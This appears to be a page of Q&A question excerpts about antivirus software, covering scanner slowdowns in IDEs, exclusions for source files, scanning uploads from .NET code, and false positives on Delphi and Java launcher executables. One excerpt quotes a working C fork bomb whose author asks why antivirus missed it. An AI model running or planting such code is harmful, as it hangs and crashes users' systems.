What is the least slow Virus scanner to use with Microsoft Visual Studio I have just had Microsoft Visual Studio “go slow” on me again due to my Virus Checker… We all know that development tools do a lot of file access so are badly effect by Virus Scanner. Most of us have to run a Virus scanner due to do many reasons. So has anyone...

What are your "Symantec Endpoint" configuration recommendations for a developer PC? We do java development with Eclipse, IntelliJ, Ant and Tomcat.

Our company uses Sophos Anti-Virus with a default configuration that performs on-access scanning on all files. We are considering turning this off for source code files but are concerned about the potential risk this poses. In our case these files are .cs files containing C# source code. Does this really pose a risk? Edit Within the ...
I have an application and I'm trying to make sure it's running in a secure environment. First of all, I check if Windows is genuine, which makes it more likely that the user keeps it up-to-date. If not, I just pop up a message warning the user there's a possible risk because he still needs to validate Windows. Now, I want to do a bit mo...
I wrote this C program and ran on my Windows system. My system hanged and not even Task manager was opening. Finally, I had to reboot. This is clearly a malicious program, but my antivirus does not detect this. Why? #include<unistd.h> main() { while(1) fork(); } ...
The subject says it all. A normal antivirus has to intercept all file accesses, scan the files and then optionally deny access to the file (possibly even displaying a prompt to the user). How can this be done? I'm aware of a method called API hooking, but that's a really dirty undocumented hack - and as such isn't really reliable. What'...
I'm looking for an Antivirus package that is compliant with Windows Server 2008. That's not the hard part. What I need is an API layer on the Antivirus that i can call from managed .net code. For example: I am developing an Asp.Net (C#) website that allows users to upload files to the web server which the web site resides on. We have fu...

Requirements: On a web page in our web application, we have a requirement to upload a file. The file is most likely to be a pdf (pdf file has form fields filled in by users), or scanned jpeg/tiff/gif files in zipped format where user has scanned the form. The size of the file is likely to be be 3-7Mb. The file will be stored in as BLOD...
I need to find out whether my apps are being flagged as viruses by the most popular anti-virus packages (not best, but biggest by user base). I therefore would like to know how others go about this. Some background: I have an application written in Delphi. Ever since the Delphi virus was found, I've had problems with false positives on ...
I built a Java application that is delivered on USB sticks. To ensure compatibility, I ship an appropriate JVM on the sticks. I made an EXE that simply invokes this JVM with the application jar. Now the problem: some virus scanners act aggressively and just remove the executable! I tried an exe made with a "Batch file to Executable" to...
